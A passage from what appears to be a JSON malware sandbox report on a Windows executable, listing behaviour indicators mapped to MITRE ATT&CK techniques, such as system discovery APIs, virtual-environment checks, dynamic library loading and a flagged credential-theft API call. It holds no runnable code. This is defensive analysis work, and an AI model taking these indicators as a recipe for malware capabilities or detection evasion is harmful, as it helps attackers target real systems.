detected","description":"$2b","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStringsA\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStringsW\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName (ComputerName):\" (Source: \"00000000-00005700.00000001.79190.00886000.00000002.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"DISMHOST.EXE.6A9E4442.bin\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005700-00000C2C-210858062\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsA\" in \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\"\n Found system information discovery API: \"GetNativeSystemInfo\" in \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" called \"IsWow64Process\" with parameter \"5700\" - (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"DISMHOST.EXE.6A9E4442.bin\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 49677-2485-004014F0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003468.00000000.81496.000D1000.00000020.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" contains export function called \"main\" at ordinal 1","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"DISMHOST.EXE.6A9E4442.bin\" as clean (type is \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"DISMHOST.EXE.6A9E4442.bin\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$30","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75FA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"04000500803fd100@msvcrt.dll\"\n \"09000a0080c8d100@msvcrt.dll\"\n \"0a000b0080c9d100@msvcrt.dll\"\n \"1500160020733f6b@ADVAPI32.dll\"\n \"0e000f00e4733f6b@ADVAPI32.dll\"\n \"0e000f0050743f6b@ADVAPI32.dll\"\n \"11001200d47d3f6b@ADVAPI32.dll\"\n \"110012007c7e3f6b@ADVAPI32.dll\"\n \"12001300cc7e3f6b@ADVAPI32.dll\"\n \"12001300387f3f6b@ADVAPI32.dll\"\n \"14001500e4b73f6b@ADVAPI32.dll\"\n \"1400150000b83f6b@ADVAPI32.dll\"\n \"140015001cb83f6b@ADVAPI32.dll\"\n \"1700180038b83f6b@ADVAPI32.dll\"\n \"0d000e0054b83f6b@ADVAPI32.dll\"\n \"1100120064b83f6b@ADVAPI32.dll\"\n \"110012007cb83f6b@ADVAPI32.dll\"\n \"0d000e009c7f3f6b@SHELL32.dll\"\n \"0d000e0028803f6b@SHELL32.dll\"\n \"0f001000ecb93f6b@ADVAPI32.dll\"\n \"1400150038ba3f6b@ADVAPI32.dll\"\n \"1400150054ba3f6b@ADVAPI32.dll\"\n \"0c000d00a8ba3f6b@ADVAPI32.dll\"\n \"0c000d00b8ba3f6b@ADVAPI32.dll\"\n \"0e000f00c8ba3f6b@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"\n \"DISMHOST.EXE.6A9E4442.bin\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"DISMHOST.EXE.6A9E4442.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static 